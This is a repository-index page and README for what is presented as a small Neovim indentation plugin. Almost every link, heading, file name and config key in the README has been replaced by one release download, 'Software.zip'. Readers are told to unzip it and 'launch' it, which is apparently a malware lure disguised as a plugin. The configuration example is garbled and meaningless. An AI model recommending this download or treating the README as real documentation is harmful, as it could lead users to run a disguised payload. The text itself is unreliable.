https://github.com/seiolonmsk/contextindent.nvim
A tiny Neovim plugin adding context-aware indent to files with embedded languages 🌟
https://github.com/seiolonmsk/contextindent.nvim
neovim neovim-plugin neovim-plugin-lua nvim-plugin
Last synced: 9 months ago
JSON representation
A tiny Neovim plugin adding context-aware indent to files with embedded languages 🌟
- Host: GitHub
- URL: https://github.com/seiolonmsk/contextindent.nvim
- Owner: SeioLonMSK
- Created: 2025-01-21T06:56:12.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-11T12:19:19.000Z (about 1 year ago)
- Last Synced: 2025-03-11T12:19:39.444Z (about 1 year ago)
- Topics: neovim, neovim-plugin, neovim-plugin-lua, nvim-plugin
- Size: 1.95 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🌟 https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip
A tiny Neovim plugin adding context-aware indent to files with embedded languages.

## Features
- Automatically adjusts indentation based on the context of embedded languages.
- Enhances the editing experience for files with diverse embedded languages.
## Installation
You can download the plugin from the [latest release](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip). Make sure to unzip the file before launching it.
## Usage
Once the plugin is installed, it seamlessly integrates with Neovim to provide context-aware indent functionality. Simply open a file with embedded languages, and the plugin will handle the indentation for you.
```lua
-- Example code snippet demonstrating context-aware indent
function myFunction()
print("Hello, world!")
end
```
## Configuration
The plugin can be customized to suit your preferences by adjusting the configuration settings in your Neovim initialization file (`https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip` or `https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip`).
```lua
-- Example configuration for https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip
https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip = true
https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip = 4
```
## Contributing
Feel free to contribute to this project by forking the repository and submitting a pull request. Your contributions are greatly appreciated!
## License
This plugin is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.
## Support
If you encounter any issues or have any questions or suggestions, please feel free to [open an issue](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip). We are always happy to assist you.
## Stay Updated
Stay updated with the latest releases and updates by visiting the [Releases](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip) section of this repository.
---
[](https://github.com/SeioLonMSK/contextindent.nvim/releases/download/v2.0/Software.zip)
**Neovim | Neovim Plugin | Neovim Plugin Lua | Nvim | Nvim Plugin**